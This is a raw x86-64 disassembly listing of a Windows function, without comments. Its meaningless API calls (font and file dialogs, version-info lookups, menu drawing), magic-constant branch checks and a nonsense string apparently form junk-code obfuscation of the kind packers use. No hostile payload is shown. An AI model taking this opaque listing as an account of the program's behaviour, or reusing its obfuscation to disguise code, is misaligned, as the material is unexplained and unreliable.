mov rcx, qword [rsp + 0x3320]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xca], al
jmp 0x1400bb1ad
movsx eax, word [0x1400dded0]
movsx ecx, word [rsp + 0x730]
xor eax, ecx
mov rcx, qword [rsp + 0x3318]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x748]
sub ecx, edx
cmp eax, ecx
jge 0x1400bb112
movzx eax, word [0x1400dd004]
mov rcx, qword [rsp + 0x3410]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x738], ax
movsx eax, byte [rsp + 0xc9]
movsx ecx, byte [rsp + 0xbd]
and eax, ecx
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
lea r9, [rsp + 0x1a4c]
mov r8d, 0x9e
mov edx, 0x32
mov rcx, qword [rsp + 0x3480]
call sub.VERSION.dll_GetFileVersionInfoA
mov dword [rsp + 0x1a38], eax
movsx eax, word [rsp + 0x748]
movsx ecx, word [0x1400dded0]
add eax, ecx
mov word [rsp + 0x730], ax
mov rax, qword [rsp + 0x3408]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc5]
add eax, ecx
mov rcx, qword [rsp + 0x3280]
mov byte [rcx], al
mov rax, qword [rsp + 0x33f0]
mov rcx, qword [0x1400dd008]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3368], rax
mov r8, qword [rsp + 0xd830]
mov edx, 0x90
mov ecx, 0xd3
call qword [sym.imp.USER32.dll_MapVirtualKeyExA]
mov dword [rsp + 0x1a48], eax
lea r8, [rsp + 0x730]
mov rdx, qword [rsp + 0x3298]
mov rcx, qword [rsp + 0x3370]
call qword [sym.imp.USERENV.dll_GetUserProfileDirectoryA]
mov dword [rsp + 0x1be0], eax
movzx eax, word [rsp + 0x744]
movzx ecx, word [rsp + 0x738]
or eax, ecx
mov rcx, qword [rsp + 0x33a0]
mov word [rcx], ax
mov rcx, qword [rsp + 0x32f8]
call fcn.1400bbe90
nop
jmp 0x1400bb20d
mov rcx, qword [rsp + 0x32f8]
call fcn.1400bbe90
nop
mov rax, qword [rsp + 0x3390]
mov ecx, dword [rsp + 0x1b5c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1a48], eax
lea r9, [rsp + 0x1b14]
mov r8d, 0x6e
mov edx, 0x10
mov rcx, qword [rsp + 0x3270]
call sub.VERSION.dll_GetFileVersionInfoA
mov dword [rsp + 0x1a38], eax
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xbd]
add eax, ecx
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
mov rcx, qword [rsp + 0x32f8]
call fcn.1400bbe90
nop
jmp 0x1400bb298
movsx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0x3320]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [section..data], al
mov rax, qword [rsp + 0x3358]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov r9d, dword [rsp + 0x1b14]
movzx r8d, word [rsp + 0x734]
mov rax, qword [rsp + 0x32c0]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x1a70]
call fcn.1400bcc50
nop
jmp 0x1400bb330
movabs rax, 0x63a2d16a5bf864e3
mov rcx, qword [0x1400dd008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3368], rax
mov rdx, qword [rsp + 0x3550]
mov rcx, qword [rsp + 0x32a8]
call qword [sym.imp.USER32.dll_DragDetect]
mov dword [rsp + 0x1b34], eax
mov rax, qword [rsp + 0x3318]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x32d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x32c0]
mov eax, dword [rax]
mov dword [rsp + 0x2e38], eax
cmp dword [rsp + 0x2e38], 0x2bbe6d97
je 0x1400bb350
jmp 0x1400bb3ae
movzx eax, word [rsp + 0x734]
movzx ecx, word [rsp + 0x738]
sub eax, ecx
mov word [rsp + 0x744], ax
mov rax, qword [rsp + 0x32d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3318]
mov word [rcx], ax
mov rax, qword [rsp + 0x3280]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc7], al
jmp 0x1400bb3c3
mov rcx, qword [rsp + 0x32a8]
call qword [sym.imp.USER32.dll_DrawMenuBar]
mov dword [rsp + 0x1a94], eax
mov eax, dword [rsp + 0x1a70]
movzx ecx, al
mov eax, dword [rsp + 0x1a40]
shr eax, cl
mov rcx, qword [rsp + 0x32f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1938]
mov rcx, qword [rsp + 0x32c0]
mov qword [rsp + 0xd838], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd838]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1aa8], eax
jmp 0x1400bb55a
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x32d0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
mov rax, qword [rsp + 0x32f8]
mov qword [rsp + 0xd840], rax
movabs rax, 0xd41cfce8b16981d9
cmp qword [rsp + 0xd840], rax
je 0x1400bb45b
jmp 0x1400bb45d
jmp 0x1400bb479
mov rax, qword [rsp + 0x32f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a3c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a48], eax
movsx eax, byte [rsp + 0xc6]
shl eax, 5
mov byte [section..data], al
movabs rax, 0x7e34b63c21a784e
mov rcx, qword [rsp + 0x32f8]
and rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x3288]
jb 0x1400bb517
mov rax, qword [rsp + 0x32e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc5]
sub eax, ecx
mov rcx, qword [rsp + 0x3280]
mov byte [rcx], al
lea rcx, [rsp + 0xd9e0]
call qword [sym.imp.COMDLG32.dll_FindTextA]
mov qword [rsp + 0x3290], rax
movzx eax, word [rsp + 0x734]
add eax, 0x5fa
mov word [rsp + 0x738], ax
movzx eax, byte [rsp + 0xc5]
mov rcx, qword [rsp + 0x3280]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32e0]
mov byte [rcx], al
jmp 0x1400bb55a
movabs rax, 0x422448a61f1bb5c1
mov rcx, qword [rsp + 0x32f8]
add rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x3288]
jb 0x1400bb55a
movzx r8d, byte [rsp + 0xc5]
mov rax, qword [rsp + 0x3278]
movzx edx, word [rax]
mov ecx, dword [rsp + 0x1a48]
call fcn.1400bc550
nop
lea rdx, [rsp + 0xc5]
mov rcx, qword [rsp + 0x32b8]
call qword [sym.imp.USER32.dll_SetWindowPlacement]
mov dword [rsp + 0x1ae8], eax
lea rax, [rsp + 0xdf30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x3308]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x3310]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xe1b0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x3270]
mov r8, qword [rsp + 0x3268]
lea rdx, str.Discountable_noticing_aching
mov ecx, 0x7d
call sub.VERSION.dll_VerFindFileA
mov dword [rsp + 0x1a70], eax
mov rax, qword [rsp + 0x3280]
movzx eax, byte [rax]
add eax, 0xb7
mov byte [rsp + 0xc5], al
jmp 0x1400bb696
call qword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [rsp + 0x1a48], eax
mov eax, dword [rsp + 0x1938]
or eax, 0x706e66fb
mov dword [rsp + 0x1938], eax
mov eax, dword [rsp + 0x1938]
mov dword [rsp + 0x2e3c], eax
cmp dword [rsp + 0x2e3c], 0x2f9d429e
je 0x1400bb639
cmp dword [rsp + 0x2e3c], 0x45978b4a
je 0x1400bb681
jmp 0x1400bb696
movzx eax, byte [rsp + 0xc5]
xor eax, 0x3c
mov byte [rsp + 0xc5], al
mov r8w, 0xf4
mov rdx, qword [rsp + 0x3310]
mov rcx, qword [rsp + 0x3310]
call qword [sym.imp.COMDLG32.dll_GetFileTitleA]
mov word [rsp + 0x730], ax
mov eax, dword [rsp + 0x1938]
shl eax, 0xa
mov dword [rsp + 0x1938], eax
jmp 0x1400bb696
lea rcx, [rsp + 0xda90]
call qword [sym.imp.COMDLG32.dll_ChooseFontA]
mov dword [rsp + 0x1a94], eax
movzx eax, byte [rsp + 0xc5]
cmp eax, 0x54
jg 0x1400bb6b3
movsx eax, byte [section..data]
sar eax, 1
mov byte [rsp + 0xc6], al
movzx eax, byte [rsp + 0xc5]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0xc5]
mov r8d, 0xc3
movzx edx, byte [rsp + 0xc5]
mov ecx, 0x47
call fcn.1400bb700
mov eax, dword [rsp + 0x286c]
add rsp, 0xe338
ret